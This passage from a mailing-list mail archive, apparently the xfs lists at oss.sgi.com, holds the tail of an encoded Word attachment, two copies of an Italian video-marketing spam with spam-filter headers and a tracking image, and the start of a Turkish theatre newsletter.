AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAO AAAADwAAABAAAAARAAAAEgAAAP7///8UAAAAFQAAABYAAAAXAAAAGAAAABkAAAAaAAAAGwAAABwA AAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAA/v///yUAAAAmAAAAJwAAACgAAAApAAAAKgAA ACsAAAD+////LQAAAC4AAAAvAAAAMAAAADEAAAAyAAAAMwAAAP7////9////NgAAAP7////+//// /v////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAAAABGAAAAAAAAAAAAAAAAADnd nqMXzwE4AAAAgAAAAAAAAAAxAFQAYQBiAGwAZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgACAf////8FAAAA/////wAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAABMAAAByIQAAAAAAAFcAbwByAGQARABvAGMAdQBtAGUAbgB0AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIBAQAAAP//////////AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4kAAAAAAAABQBTAHUAbQBtAGEA cgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAgEC AAAABAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkAAAAABAAAAAA AAAFAEQAbwBjAHUAbQBlAG4AdABTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAA AAAAAAAAAAAAOAACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAACwAAAAAEAAAAAAAAAEAQwBvAG0AcABPAGIAagAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// /////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAEAAAD+//////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// AQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAARiAAAADE7urz7OXt8iBNaWNyb3NvZnQgV29yZCA5 Ny0yMDAzAAoAAABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1lbnQuOAD0ObJxAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ------=_NextPart_000_0F21_01CF17F6.CCCF6010-- From noreply@ita-engine.net Wed Jan 22 23:50:44 2014 Return-Path: <noreply@ita-engine.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.7 required=5.0 tests=DATE_IN_PAST_06_12, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0A4707FB6 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 23:50:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 95589AC002 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 21:50:40 -0800 (PST) X-ASG-Debug-ID: 1390456235-04bdf030e8b4c00001-NocioJ Received: from TIGRE.ita-engine.net (host225-174-static.9-188-b.business.telecomitalia.it [188.9.174.225]) by cuda.sgi.com with ESMTP id wwa0INimr9kkKa9l (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 21:50:36 -0800 (PST) X-Barracuda-Envelope-From: noreply@ita-engine.net X-Barracuda-Apparent-Source-IP: 188.9.174.225 Received: from 30seconds.ita-engine.net (server6.ita-engine.net [204.188.195.192]) by TIGRE.ita-engine.net (Postfix) with ESMTP id 71A9D61CC8 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 06:51:36 +0100 (CET) Date: Wed, 22 Jan 2014 21:53:57 +0100 To: xfs@oss.sgi.com From: "video@30seconds.it" <video@30seconds.it> Reply-To: "video@30seconds.it" <video@30seconds.it> Subject: =?UTF-8?Q?un_video_ti_promuove_pi=C3=B9_di_ogni_altra_cosa?= Message-ID: <45e4cbac59e8f175782745112c480cc2@localhost.localdomain> X-ASG-Orig-Subj: =?UTF-8?Q?un_video_ti_promuove_pi=C3=B9_di_ogni_altra_cosa?= X-Priority: 5 X-Mailer: Apple Mail (2.1283) X-MC-version: 4 X-MessageID: 7 X-ListMember: xfs@oss.sgi.com Precedence: bulk Bounces-To: noreply@ita-engine.net MIME-Version: 1.0 (Apple Message framework v1283) Content-Type: multipart/alternative; boundary="b1_45e4cbac59e8f175782745112c480cc2" X-Barracuda-Connect: host225-174-static.9-188-b.business.telecomitalia.it[188.9.174.225] X-Barracuda-Start-Time: 1390456236 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.11 X-Barracuda-Spam-Status: No, SCORE=1.11 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_06_12, DATE_IN_PAST_06_12_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144385 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 0.00 HTML_MESSAGE BODY: HTML included in message 1.10 DATE_IN_PAST_06_12_2 DATE_IN_PAST_06_12_2 --b1_45e4cbac59e8f175782745112c480cc2 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Thirty Seconds Se ha difficolt=C3=A0 a visualizzare questa e-mail clicchi qui <http://www.30seconds.it/30secpromo/tigre/tigre.html> . <http://www.30seconds.it/video/> Informativa ai sensi del Decr.Lgs Privacy n.196/2003:=20 I dati in nostro possesso vengono impiegati con principali scopi amministrativi, fiscali e di comunicazione aziendale comunque nei termini previsti dalla normativa vigente. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle modalit=C3=A0 previs= te della Legge. Il titolare del trattamento =C3=A8 THIRTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo messaggio di posta elettronica contiene informazioni di carattere confidenziale rivolte esclusivamente al destinatario sopra indicato. E' vietato l'uso, la diffusione, distribuzione o riproduzione da parte di ogni altra persona.=20 Nel caso aveste ricevuto questo messaggio di posta elettronica per errore, siete pregati di segnalarlo immediatamente al mittente e distruggere quanto ricevuto (compresi i file allegati) senza farne copia. Qualsivoglia utilizzo non autorizzato del contenuto di questo messaggio costituisce violazione dell'obbligo di non prendere cognizione della corrispondenza tra altri soggetti, salvo pi=C3=B9 grave illecito, ed espone il responsabile alle relative conseguenze. Confidential Notice: This e-mail transmission may contain legally privileged and/or confidential information. Please do not read it if you are not the intended recipient(S). Any use, distribution, reproduction or disclosure by any other person is strictly prohibited. If you have received this e-mail in error, please notify the sender and destroy the original transmission and its attachments without reading or saving it in any manner. -- Questo messaggio =C3=A8 stato inviato a xfs@oss.sgi.com da video@30seconds.= it Se volete rimuovervi=0A<http://30seconds.ita-engine.net//?p=3Dunsubscribe&u= id=3Ddd2725a891caef31b28398485fe96fe5> selezionate qui. [USERTRACK]=20 --b1_45e4cbac59e8f175782745112c480cc2 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.= w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">=0A<html xmlns=3D"http://www.= w3.org/1999/xhtml">=0A<head>=0A<meta http-equiv=3D"Content-Type" content=3D= "text/html; charset=3DUTF-8" />=0A<title>Thirty Seconds</title>=0A<style ty= pe=3D"text/css">=0A<!--=0A=0Abody {=0A=09background-repeat: repeat;=0A=09ba= ckground-color: #222222;=0A=09margin: 0px;=0A=09text-align: left;=0A=09colo= r: #606060;=0A=09background-position: top center;=0A=09}=0A-->=0A</style>= =0A</head>=0A<body link=3D"#ffffff"><div align=3D"center">=0A <table width= =3D"1018" border=3D"0" cellpadding=3D"0" cellspacing=3D"0">=0A <tr val= ign=3D"top">=0A<br/>=0A=0A <table width=3D"850" border=3D"0" cellpadding= =3D"0" cellspacing=3D"0">=0A <tr valign=3D"top">=0A <font face=3D= "arial" size=3D"2" text-align=3D"center">=0A<p>Se ha difficolt&agrave; a vi= sualizzare questa e-mail <span></span> <a href=3D"http://www.30seconds.it/3= 0secpromo/tigre/tigre.html"><span>clicchi qui</span></a>.</p>=0A</font>=0A<= td>=0A=0A<td>=0A<br>=0A<img src=3D"http://www.30seconds.it/30secpromo/tigre= /tigre_r1_c1.jpg" border=3D"0" align=3D"middle"/><img src=3D"http://www.30s= econds.it/30secpromo/tigre/tigre_r1_c5.jpg" border=3D"0" align=3D"middle"/>= <br/>=0A<img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r2_c1.jp= g" border=3D"0" align=3D"middle"/><a href=3D"http://www.30seconds.it/video/= "><img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r2_c2.jpg" bor= der=3D"0" align=3D"middle"/></a><img src=3D"http://www.30seconds.it/30secpr= omo/tigre/tigre_r2_c4.jpg" border=3D"0" align=3D"middle"/><img src=3D"http:= //www.30seconds.it/30secpromo/tigre/tigre_r2_c5.jpg" border=3D"0" align=3D"= middle"/><br/><img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r3= _c1.jpg" border=3D"0" align=3D"middle"/><img src=3D"http://www.30seconds.it= /30secpromo/tigre/tigre_r3_c5.jpg" border=3D"0" align=3D"middle"/><br/>=0A<= img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r4_c1.jpg" border= =3D"0" align=3D"middle"/><a href=3D"http://www.30seconds.it"><a href=3D"htt= p://www.30seconds.it/"><img src=3D"http://www.30seconds.it/30secpromo/tigre= /tigre_r4_c2.jpg" border=3D"0" align=3D"middle"/><img src=3D"http://www.30s= econds.it/30secpromo/tigre/tigre_r4_c3.jpg" border=3D"0" align=3D"middle"/>= <img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r4_c5.jpg" borde= r=3D"0" align=3D"middle"/><br/><a href=3D"mailto:info@30seconds.it"><img sr= c=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r5_c1.jpg" border=3D"0"= align=3D"middle"/>=0A</td>=0A</tr>=0A</table>=0A<br>=0A<br>=0A=0A <table = width=3D"1018" border=3D"0" cellpadding=3D"0">=0A <tr valign=3D"center= ">=0A<td>=0A=0A<font face=3D"arial" size=3D"1" text-align=3D"center">=0AInf= ormativa ai sensi del Decr.Lgs Privacy n.196/2003: =0A=0AI dati in nostro p= ossesso vengono impiegati con principali scopi amministrativi, fiscali e di= comunicazione aziendale comunque nei termini previsti dalla normativa vige= nte. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle= modalit=C3=A0 previste della Legge. Il titolare del trattamento =C3=A8 THI= RTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo messaggio di pos= ta elettronica contiene informazioni di carattere confidenziale rivolte esc= lusivamente al destinatario sopra indicato. E' vietato l'uso, la diffusione= , distribuzione o riproduzione da parte di ogni altra persona. =0A=0ANel ca= so aveste ricevuto questo messaggio di posta elettronica per errore, siete = pregati di segnalarlo immediatamente al mittente e distruggere quanto ricev= uto (compresi i file allegati) senza farne copia. Qualsivoglia utilizzo non= autorizzato del contenuto di questo messaggio costituisce violazione dell'= obbligo di non prendere cognizione della corrispondenza tra altri soggetti,= salvo pi=C3=B9 grave illecito, ed espone il responsabile alle relative con= seguenze.=0A=0AConfidential Notice:=0AThis e-mail transmission may contain = legally privileged and/or confidential information. Please do not read it i= f you are not the intended recipient(S). Any use, distribution, reproductio= n or disclosure by any other person is strictly prohibited. If you have rec= eived this e-mail in error, please notify the sender and destroy the origin= al transmission and its attachments without reading or saving it in any man= ner.=0A</font>=0A</td>=0A</tr>=0A</table>=0A<br />-- =20 <div class=3D"footer" style=3D"text-align:left; font-size: 75%;"> <p>Questo messaggio =C3=A8 stato inviato a xfs@oss.sgi.com da video@30secon= ds.it</p> Se volete <a href=3D"http://30seconds.ita-engine.net//?p=3Dunsubscribe&amp;= uid=3Ddd2725a891caef31b28398485fe96fe5">rimuovervi</a> selezionate qui.</p> </div> =20 =0A<div style=3D"clear: both; font-family: arial, verdana, sans-serif; fon= t-size: 8px; font-variant: small-caps; font-weight: normal; padding: 2px; p= adding-left:10px;padding-top:20px;">powered by <a href=3D"http://mailcentra= l.ita-engine.net" target=3D"_blank" title=3D"M@ilCentral">M@ilCentral</a></= div><img src=3D"http://30seconds.ita-engine.net//ut.php?u=3Ddd2725a891caef3= 1b28398485fe96fe5&amp;m=3D7" width=3D"1" height=3D"1" border=3D"0" /></body= >=0A</html> --b1_45e4cbac59e8f175782745112c480cc2-- From noreply@ita-engine.net Wed Jan 22 23:54:25 2014 Return-Path: <noreply@ita-engine.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.7 required=5.0 tests=DATE_IN_PAST_06_12, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6A3D77FB8 for <linux-xfs@oss.sgi.com>; Wed, 22 Jan 2014 23:54:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CE70EAC002 for <linux-xfs@oss.sgi.com>; Wed, 22 Jan 2014 21:54:21 -0800 (PST) X-ASG-Debug-ID: 1390456459-04cb6c7508a8e60001-w1Z2WR Received: from server6.ita-engine.net (server6.ita-engine.net [204.188.195.192]) by cuda.sgi.com with ESMTP id uA7uMFE3pka2oFPs for <linux-xfs@oss.sgi.com>; Wed, 22 Jan 2014 21:54:20 -0800 (PST) X-Barracuda-Envelope-From: noreply@ita-engine.net X-Barracuda-Apparent-Source-IP: 204.188.195.192 Received: from 30seconds.ita-engine.net (server6 [127.0.0.1]) by server6.ita-engine.net (Postfix) with ESMTP id 4D9C14FB95 for <linux-xfs@oss.sgi.com>; Wed, 22 Jan 2014 21:57:43 +0100 (CET) Date: Wed, 22 Jan 2014 21:57:43 +0100 To: linux-xfs@oss.sgi.com From: "video@30seconds.it" <video@30seconds.it> Reply-To: "video@30seconds.it" <video@30seconds.it> Subject: =?UTF-8?Q?un_video_ti_promuove_pi=C3=B9_di_ogni_altra_cosa?= Message-ID: <610e9d4a34a4148136dbe07f46894369@localhost.localdomain> X-ASG-Orig-Subj: =?UTF-8?Q?un_video_ti_promuove_pi=C3=B9_di_ogni_altra_cosa?= X-Priority: 5 X-Mailer: Apple Mail (2.1283) X-MC-version: 4 X-MessageID: 7 X-ListMember: linux-xfs@oss.sgi.com Precedence: bulk Bounces-To: noreply@ita-engine.net MIME-Version: 1.0 (Apple Message framework v1283) Content-Type: multipart/alternative; boundary="b1_610e9d4a34a4148136dbe07f46894369" X-Barracuda-Connect: server6.ita-engine.net[204.188.195.192] X-Barracuda-Start-Time: 1390456459 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.11 X-Barracuda-Spam-Status: No, SCORE=1.11 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_06_12, DATE_IN_PAST_06_12_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144385 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 0.00 HTML_MESSAGE BODY: HTML included in message 1.10 DATE_IN_PAST_06_12_2 DATE_IN_PAST_06_12_2 --b1_610e9d4a34a4148136dbe07f46894369 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Thirty Seconds Se ha difficolt=C3=A0 a visualizzare questa e-mail clicchi qui <http://www.30seconds.it/30secpromo/tigre/tigre.html> . <http://www.30seconds.it/video/> Informativa ai sensi del Decr.Lgs Privacy n.196/2003:=20 I dati in nostro possesso vengono impiegati con principali scopi amministrativi, fiscali e di comunicazione aziendale comunque nei termini previsti dalla normativa vigente. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle modalit=C3=A0 previs= te della Legge. Il titolare del trattamento =C3=A8 THIRTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo messaggio di posta elettronica contiene informazioni di carattere confidenziale rivolte esclusivamente al destinatario sopra indicato. E' vietato l'uso, la diffusione, distribuzione o riproduzione da parte di ogni altra persona.=20 Nel caso aveste ricevuto questo messaggio di posta elettronica per errore, siete pregati di segnalarlo immediatamente al mittente e distruggere quanto ricevuto (compresi i file allegati) senza farne copia. Qualsivoglia utilizzo non autorizzato del contenuto di questo messaggio costituisce violazione dell'obbligo di non prendere cognizione della corrispondenza tra altri soggetti, salvo pi=C3=B9 grave illecito, ed espone il responsabile alle relative conseguenze. Confidential Notice: This e-mail transmission may contain legally privileged and/or confidential information. Please do not read it if you are not the intended recipient(S). Any use, distribution, reproduction or disclosure by any other person is strictly prohibited. If you have received this e-mail in error, please notify the sender and destroy the original transmission and its attachments without reading or saving it in any manner. -- Questo messaggio =C3=A8 stato inviato a linux-xfs@oss.sgi.com da=0Avideo@30= seconds.it Se volete rimuovervi=0A<http://30seconds.ita-engine.net//?p=3Dunsubscribe&u= id=3D08b9e961079f68872b08f7ca55105637> selezionate qui. [USERTRACK]=20 --b1_610e9d4a34a4148136dbe07f46894369 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.= w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">=0A<html xmlns=3D"http://www.= w3.org/1999/xhtml">=0A<head>=0A<meta http-equiv=3D"Content-Type" content=3D= "text/html; charset=3DUTF-8" />=0A<title>Thirty Seconds</title>=0A<style ty= pe=3D"text/css">=0A<!--=0A=0Abody {=0A=09background-repeat: repeat;=0A=09ba= ckground-color: #222222;=0A=09margin: 0px;=0A=09text-align: left;=0A=09colo= r: #606060;=0A=09background-position: top center;=0A=09}=0A-->=0A</style>= =0A</head>=0A<body link=3D"#ffffff"><div align=3D"center">=0A <table width= =3D"1018" border=3D"0" cellpadding=3D"0" cellspacing=3D"0">=0A <tr val= ign=3D"top">=0A<br/>=0A=0A <table width=3D"850" border=3D"0" cellpadding= =3D"0" cellspacing=3D"0">=0A <tr valign=3D"top">=0A <font face=3D= "arial" size=3D"2" text-align=3D"center">=0A<p>Se ha difficolt&agrave; a vi= sualizzare questa e-mail <span></span> <a href=3D"http://www.30seconds.it/3= 0secpromo/tigre/tigre.html"><span>clicchi qui</span></a>.</p>=0A</font>=0A<= td>=0A=0A<td>=0A<br>=0A<img src=3D"http://www.30seconds.it/30secpromo/tigre= /tigre_r1_c1.jpg" border=3D"0" align=3D"middle"/><img src=3D"http://www.30s= econds.it/30secpromo/tigre/tigre_r1_c5.jpg" border=3D"0" align=3D"middle"/>= <br/>=0A<img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r2_c1.jp= g" border=3D"0" align=3D"middle"/><a href=3D"http://www.30seconds.it/video/= "><img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r2_c2.jpg" bor= der=3D"0" align=3D"middle"/></a><img src=3D"http://www.30seconds.it/30secpr= omo/tigre/tigre_r2_c4.jpg" border=3D"0" align=3D"middle"/><img src=3D"http:= //www.30seconds.it/30secpromo/tigre/tigre_r2_c5.jpg" border=3D"0" align=3D"= middle"/><br/><img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r3= _c1.jpg" border=3D"0" align=3D"middle"/><img src=3D"http://www.30seconds.it= /30secpromo/tigre/tigre_r3_c5.jpg" border=3D"0" align=3D"middle"/><br/>=0A<= img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r4_c1.jpg" border= =3D"0" align=3D"middle"/><a href=3D"http://www.30seconds.it"><a href=3D"htt= p://www.30seconds.it/"><img src=3D"http://www.30seconds.it/30secpromo/tigre= /tigre_r4_c2.jpg" border=3D"0" align=3D"middle"/><img src=3D"http://www.30s= econds.it/30secpromo/tigre/tigre_r4_c3.jpg" border=3D"0" align=3D"middle"/>= <img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r4_c5.jpg" borde= r=3D"0" align=3D"middle"/><br/><a href=3D"mailto:info@30seconds.it"><img sr= c=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r5_c1.jpg" border=3D"0"= align=3D"middle"/>=0A</td>=0A</tr>=0A</table>=0A<br>=0A<br>=0A=0A <table = width=3D"1018" border=3D"0" cellpadding=3D"0">=0A <tr valign=3D"center= ">=0A<td>=0A=0A<font face=3D"arial" size=3D"1" text-align=3D"center">=0AInf= ormativa ai sensi del Decr.Lgs Privacy n.196/2003: =0A=0AI dati in nostro p= ossesso vengono impiegati con principali scopi amministrativi, fiscali e di= comunicazione aziendale comunque nei termini previsti dalla normativa vige= nte. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle= modalit=C3=A0 previste della Legge. Il titolare del trattamento =C3=A8 THI= RTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo messaggio di pos= ta elettronica contiene informazioni di carattere confidenziale rivolte esc= lusivamente al destinatario sopra indicato. E' vietato l'uso, la diffusione= , distribuzione o riproduzione da parte di ogni altra persona. =0A=0ANel ca= so aveste ricevuto questo messaggio di posta elettronica per errore, siete = pregati di segnalarlo immediatamente al mittente e distruggere quanto ricev= uto (compresi i file allegati) senza farne copia. Qualsivoglia utilizzo non= autorizzato del contenuto di questo messaggio costituisce violazione dell'= obbligo di non prendere cognizione della corrispondenza tra altri soggetti,= salvo pi=C3=B9 grave illecito, ed espone il responsabile alle relative con= seguenze.=0A=0AConfidential Notice:=0AThis e-mail transmission may contain = legally privileged and/or confidential information. Please do not read it i= f you are not the intended recipient(S). Any use, distribution, reproductio= n or disclosure by any other person is strictly prohibited. If you have rec= eived this e-mail in error, please notify the sender and destroy the origin= al transmission and its attachments without reading or saving it in any man= ner.=0A</font>=0A</td>=0A</tr>=0A</table>=0A<br />-- =20 <div class=3D"footer" style=3D"text-align:left; font-size: 75%;"> <p>Questo messaggio =C3=A8 stato inviato a linux-xfs@oss.sgi.com da video@3= 0seconds.it</p> Se volete <a href=3D"http://30seconds.ita-engine.net//?p=3Dunsubscribe&amp;= uid=3D08b9e961079f68872b08f7ca55105637">rimuovervi</a> selezionate qui.</p> </div> =20 =0A<div style=3D"clear: both; font-family: arial, verdana, sans-serif; fon= t-size: 8px; font-variant: small-caps; font-weight: normal; padding: 2px; p= adding-left:10px;padding-top:20px;">powered by <a href=3D"http://mailcentra= l.ita-engine.net" target=3D"_blank" title=3D"M@ilCentral">M@ilCentral</a></= div><img src=3D"http://30seconds.ita-engine.net//ut.php?u=3D08b9e961079f688= 72b08f7ca55105637&amp;m=3D7" width=3D"1" height=3D"1" border=3D"0" /></body= >=0A</html> --b1_610e9d4a34a4148136dbe07f46894369-- From bulten@tiyatrokare.net Thu Jan 23 02:40:50 2014 Return-Path: <bulten@tiyatrokare.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,MIME_QP_LONG_LINE,T_REMOTE_IMAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CC53A7F55 for <linux-xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:40:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8855E8F806F for <linux-xfs@oss.sgi.com>; Thu, 23 Jan 2014 00:40:50 -0800 (PST) X-ASG-Debug-ID: 1390466443-04bdf030e8b94f0001-w1Z2WR Received: from mail.tiyatrokare.net (mail.tiyatrokare.net [94.103.45.143]) by cuda.sgi.com with ESMTP id qPjHV4LnQMnZFpVo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <linux-xfs@oss.sgi.com>; Thu, 23 Jan 2014 00:40:44 -0800 (PST) X-Barracuda-Envelope-From: bulten@tiyatrokare.net X-Barracuda-Apparent-Source-IP: 94.103.45.143 Received: from [78.176.91.69] (helo=feyza-pc.local) by mail.tiyatrokare.net with esmtpa (Exim 4.76) (envelope-from <bulten@tiyatrokare.net>) id 1W6Fef-0001t8-2l for linux-xfs@oss.sgi.com; Thu, 23 Jan 2014 03:28:53 -0500 Reply-To: bulten@tiyatrokare.net Message-ID: <58b4fb0564b1895a33b4b69e2c27c279@tiyatrokare.net> From: "Tiyatrokare" <bulten@tiyatrokare.net> To: <linux-xfs@oss.sgi.com> Subject: =?iso-8859-9?B?VGl5YXRyb2thcmUgQnVyc2EnZGE=?= Date: Thu, 23 Jan 2014 10:40:10 +0200 X-ASG-Orig-Subj: =?iso-8859-9?B?VGl5YXRyb2thcmUgQnVyc2EnZGE=?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=SPLITOR00A_001_37594368D" X-Barracuda-Connect: mail.tiyatrokare.net[94.103.45.143] X-Barracuda-Start-Time: 1390466444 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.92 X-Barracuda-Spam-Status: No, SCORE=0.92 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA148a, HTML_IMAGE_RATIO_06, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144388 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA148a URI: Custom Rule SA148a 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text 